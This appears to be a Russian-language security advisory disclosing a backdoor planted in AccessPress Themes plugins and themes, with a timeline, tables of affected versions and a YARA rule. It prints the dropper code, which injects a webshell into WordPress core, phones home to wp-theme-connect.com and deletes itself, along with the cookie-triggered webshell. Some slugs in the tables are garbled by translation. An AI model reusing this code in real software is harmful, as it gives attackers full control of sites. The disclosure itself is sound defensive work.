Бэкдор в темах и плагинах от AccessPress Themes

Опубликовано: 2022-01-19

Обновление от 1 февраля . Изменен раздел «Затронутые темы», чтобы отразить начало появления новых версий тем.

При исследовании взломанного сайта мы обнаружили подозрительный код в теме от AccessPress Themes (Access Keys), поставщика большого количества популярных тем и плагинов. В ходе дальнейшего расследования мы обнаружили, что все темы и большинство плагинов от поставщика содержат этот подозрительный код, но только в том случае, если они загружены с их собственного веб-сайта. Те же расширения были в порядке, если их загружать или устанавливать непосредственно из каталога WordPress.org.

Из-за того, как расширения были скомпрометированы, мы подозревали, что внешний злоумышленник взломал веб-сайт тем AccessPress, пытаясь использовать их расширения для заражения других сайтов.

Мы сразу же связались с продавцом, но сначала не получили ответа. После передачи информации команде плагинов WordPress.org наши подозрения подтвердились. Веб-сайты AccessPress Themes были взломаны в первой половине сентября 2021 года, и в расширения, доступные для загрузки на их сайте, был внедрен бэкдор.

После того, как мы установили канал для связи с поставщиком, мы поделились с ним нашими подробными выводами. Они немедленно удалили оскорбительные расширения со своего сайта.

С тех пор большинство плагинов были обновлены, а известные чистые версии перечислены внизу этого поста. Однако затронутые темы не были обновлены и взяты из репозитория тем WordPress.org. Если на вашем сайте установлена ​​какая-либо из тем, перечисленных в нижней части этого поста, мы рекомендуем как можно скорее перейти на новую тему.

Это раскрытие касается большого количества расширений, как плагинов, так и тем. Перейдите к списку ниже или ознакомьтесь с подробностями.

Подробности:

Поставщик: Темы AccessPress
URL поставщика: https://accesspressthemes.com
Плагины: несколько
Темы: несколько
CVE: CVE-2021-24867

Анализ:

Зараженные расширения содержали дроппер для веб-шелла, предоставляющий злоумышленникам полный доступ к зараженным сайтам. Дроппер находится в файле inital.php , расположенном в главном каталоге плагина или темы. При запуске он устанавливает веб-оболочку на основе файлов cookie в wp-includes/vars.php . Оболочка устанавливается как функция непосредственно перед wp_is_mobile() с именем wp_is_mobile_fix() . По-видимому, это сделано для того, чтобы не вызывать подозрений у кого-либо, случайно просматривающего файл vars.php .

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

После установки оболочки дроппер позвонит домой, загрузив удаленное изображение с URL-адреса hxxps://www.wp-theme-connect.com/images/wp-theme.jpg с URL-адресом зараженного сайта и информацией о какую тему он использует в качестве аргументов запроса. Наконец, он удалит исходный файл дроппера, чтобы избежать обнаружения после завершения выполнения запроса.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

Сама веб-оболочка срабатывает, если строка пользовательского агента в запросе — wp_is_mobile и запрос содержит восемь определенных файлов cookie. Он объединяется и выполняет полезную нагрузку из этих предоставленных файлов cookie.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

Мы также видели другой, предположительно более старый вариант бэкдора, встроенный непосредственно в файл functions.php темы/плагина. Этот вариант использует тот же механизм с объединением полезной нагрузки из восьми файлов cookie, но не фильтрует строку пользовательского агента запроса.

Чтобы обеспечить выполнение дроппера, основной файл плагина (для плагинов) или файл functions.php (для тем) был изменен с помощью кода для выполнения файла inital.php , если он существует.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

Одна поразительная деталь временных меток скомпрометированных плагинов заключается в том, что все они относятся к началу сентября. Большинство из них датированы 6 и 7 сентября, а несколько файлов — 2 и 3 сентября. Аналогичным образом, все темы были скомпрометированы 22 сентября, за исключением accessbuddy — 9 сентября.

Кроме того, временные метки в zip-архивах очень однородны, почти все файлы имеют одну и ту же временную метку, за исключением измененного основного файла плагина и добавленного файла дроппера, который проставляется через несколько минут (обычно около 2-5 минут после). остальные файлы в архиве).

Однако, глядя на метки времени для zip-файлов, загруженных из репозитория wordpress.org , мы находим распределение меток времени, соответствующее тому, когда плагин/тема были фактически обновлены. Кроме того, распределение временных меток в архиве менее единообразно и отражает, какие файлы были обновлены в выпуске, а какие не изменились по сравнению с более ранним выпуском.

Это говорит нам о том, что файлы с веб-сайта AccessPress Themes были изменены преднамеренно и в результате скоординированных действий после того, как они были первоначально выпущены. Компрометация, похоже, была выполнена в два этапа: один для плагинов, а второй для тем. Каждый из них с некоторыми более ранними попытками, возможно, для точной настройки процесса.

В нашем исследовании рассматривались только темы и плагины, доступные бесплатно на веб-сайте AccessPress Themes. Мы предполагаем, что их платные профессиональные темы затронуты аналогичным образом, но мы не исследовали их. Если у вас есть какой-либо из них, обратитесь в службу поддержки AccessPress Themes для получения дополнительной консультации.

Затронутые темы

Если на вашем сайте установлена ​​какая-либо из следующих тем с номером версии в столбце Bad , мы рекомендуем немедленно обновить ее до версии в столбце Clean . Стоит отметить, что темы, установленные через WordPress.org, являются чистыми, даже если они перечислены в столбце Bad . Мы по-прежнему рекомендуем обновиться до известной чистой версии, чтобы быть в безопасности.

Темы без номера версии в столбце « Очистка » еще не были обновлены, и мы рекомендуем заменить их другой темой, если это вообще возможно.

Слизняк темы Плохой Чистый
доступ приятель 1.0.0
accesspress-basic 3.2.1 3.2.2
доступ для прессы 2,92 2,93
доступ к пресс-журналу 2.6.5 2.6.6
доступнажмите-параллакс 4,5 4.6
доступпресс-луч 1.19.5
доступнажмите-корень 2,5 2.6.0
доступпресс-степлер 1.9.1
доступ к пресс-магазину 2.4.9 2.5.0
агентство-лайт 1.1.6 1.1.7
аплит 1.0.6
выпивка 1.0.4 1.0.5
блогер 1.2.6 1.2.7
облегченная конструкция 1.2.5 1.2.6
доко 1.0.27 1.1.0
просвещать 1.3.5 1.3.6
магазин 1.2.1
фотография 2.4.0 2.4.1
gaga-corp 1.0.8
гага-лайт 1.4.2
один шаг 2.2.8
параллакс-блог 3.1.1574941215
параллаксом 1.3.6 1.3.7
пунте 1.1.2 1.1.3
вращаться 1.3.1
рябь 1.2.0 1.2.1
прокрутите меня 2.1.0
спортивный журнал 1.2.1
складвилла 1.4.1 1.4.2
свинг-лайт 1.1.9 1.2.0
пусковая установка 1.3.2 1.3.3
понедельник 1.4.1
uncode-lite 1.3.1
unicon-lite 1.2.6 1.2.7
вмаг 1.2.7 1.2.8
vmagazine-lite 1.3.5 1.3.7
vmagazine-новости 1.0.5 1.0.6
зигзи-бэби 1.0.6 1.0.7
Zigcy-косметика 1.0.5 1.0.6
зигци-лайт 2.0.9 2.1.0
Таблица 1: Темы и версии, скомпрометированные в результате атаки.

Затронутые плагины

Если на вашем сайте установлен какой-либо из следующих плагинов с номером версии в столбце Bad , мы рекомендуем немедленно обновить его до версии в столбце Clean . Стоит отметить, что плагины, установленные через WordPress.org, являются чистыми, даже если они перечислены в столбце Bad . Мы по-прежнему рекомендуем обновиться до известной чистой версии, чтобы быть в безопасности.

Плагины без номера версии в столбце « Очистка » еще не были обновлены, и мы рекомендуем заменить их другими плагинами, если это вообще возможно.

Слаг плагина Плохой Чистый Примечание
доступпресс-анонимно-сообщение 2.8.0 2.8.1 1
accesspress-custom-css 2.0.1 2.0.2
accesspress-custom-post-type 1.0.8 1.0.9
доступ к прессе-facebook-auto-post 2.1.3 2.1.4
доступпресс-инстаграм-лента 4.0.3 4.0.4
доступpress-pinterest 3.3.3 3.3.4
доступнажмите-социальный-счетчик 1.9.1 1.9.2
доступнажмите-социальные-иконки 1.8.2 1.8.3
accesspress-social-login-lite 3.4.7 3.4.8
доступнажмите в социальных сетях 4.5.5 4.5.6
доступ к пресс-твиттеру-автоматической публикации 1.4.5 1.4.6
доступ к пресс-твиттеру 1.6.7 1.6.8
ак-меню-значки-облегченный 1.0.9
ap-компаньон 1.0.7 2
ap-контактная форма 1.0.6 1.0.7
ap-обычай-отзыв 1.4.6 1.4.7
ap-мега-меню 3.0.5 3.0.6
ap-pricing-таблицы-lite 1.1.2 1.1.3
апекс-уведомление-бар-лайт 2.0.4 2.0.5
cf7-store-to-db-lite 1.0.9 1.1.0
комментарии-отключить-accesspress 1.0.7 1.0.8
easy-side-tab-cta 1.0.7 1.0.8
Эверест-админ-тема-облегченный 1.0.7 1.0.8
Эверест-скоро-лайт 1.1.0 1.1.1
эверест-комментарий-рейтинг-лайт 2.0.4 2.0.5
эверест-контр-лайт 2.0.7 2.0.8
everest-faq-manager-lite 1.0.8 1.0.9
Эверест-галерея-лайт 1.0.8 1.0.9
эверест-google-места-обзоры-lite 1.0.9 2.0.0
Эверест-обзор-лайт 1.0.7
Эверест-Таб-Лайт 2.0.3 2.0.4
Эверест-таймлайн-лайт 1.1.1 1.1.2
встроенный строитель с призывом к действию 1.1.0 1.1.1
слайдер продукта для woocommerce-lite 1.1.5 1.1.6
смарт-логотип-витрина-лайт 1.1.7 1.1.8
умные прокрутки 2.0.8 2.0.9
умная прокрутка до верхней части 1.0.3 1.0.4
полное соответствие gdpr-lite 1.0.4
тотал-команда-лайт 1.1.1 1.1.2
конечный автор-бокс-лайт 1.1.2 1.1.3
Ultimate-form-Builder-Lite 1.5.0 1.5.1
woo-badge-дизайнер-лайт 1.1.0 1.1.1
wp-1-слайдер 1.2.9 1.3.0
wp-блог-менеджер-облегченный 1.1.0 1.1.2
wp-комментарий-дизайнер-облегченный 2.0.3 2.0.4
wp-cookie-информация о пользователе 1.0.7 1.0.8
wp-facebook-обзор-витрина-lite 1.0.9
wp-fb-messenger-кнопка-lite 2.0.7
wp-плавающее меню 1.4.4 1.4.5
wp-медиа-менеджер-lite 1.1.2 1.1.3
wp-всплывающие баннеры 1.2.3 1.2.4
wp-всплывающее-облегченный 1.0.8
wp-продукт-галерея-lite 1.1.1
Таблица 2: Плагины, версии, скомпрометированные в результате атаки, а также известные чистые версии,

Примечания:

  1. Этот плагин не обновлялся, но считается чистым, поскольку версия на веб-сайте AccessPress Themes была более старой версией.
  2. Этот плагин не обновлялся, но считается чистым, поскольку изначально он не был доступен на веб-сайте тем AccessPress.

МОК

Следующее правило YARA можно использовать для проверки того, заражен ли сайт. Он обнаружит как дроппер-часть инфекции, так и установленный веб-шелл.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Рекомендации

Если у вас есть какие-либо темы или плагины, установленные непосредственно из тем AccessPress или любого другого места, кроме WordPress.org, вам следует немедленно перейти на безопасную версию, как указано в таблицах выше. Если безопасной версии нет, замените ее последней версией с WordPress.org.

Обратите внимание, что это не удаляет бэкдор из вашей системы, поэтому вам необходимо переустановить чистую версию WordPress, чтобы отменить изменения файла ядра, сделанные во время установки бэкдора.

Если у вас есть платная тема или плагин от AccessPress Themes/Access Keys, советуем обратиться за помощью в их поддержку.

Мы настоятельно рекомендуем вам иметь план безопасности для вашего сайта, который включает сканирование вредоносных файлов и резервное копирование. Jetpack Security — это отличный вариант безопасности WordPress для обеспечения безопасности вашего сайта и посетителей. Jetpack Scan обнаружил все варианты этого бэкдора и дроппера с 30 сентября.

График

22 сентября 2021 г.: команда Jetpack Scan обнаруживает дроппер и лазейку в теме FotoGrapy и пытается связаться с поставщиком по поводу первоначальной находки.

27.09.2021: Подтвердите наличие дроппера + бэкдора во всех текущих бесплатных плагинах и темах, загруженных с веб-сайтов поставщиков.

28 сентября 2021 г.: Подтвердите, что дроппер + черный ход не присутствуют при загрузке с wordpress.org.

29 сентября 2021 г.: Повторная попытка связаться с поставщиком, чтобы сообщить о новых результатах.

14.10.2021: Передан команде плагинов WordPress, чтобы попытаться связаться с поставщиком.

15.10.2021: С сайта поставщика удалены скомпрометированные расширения.

16.10.2021: Ответ поставщика

17.01.2022: Большинство плагинов обновлены до новых версий, темы взяты с WordPress.org.

18.01.2022 Публичное раскрытие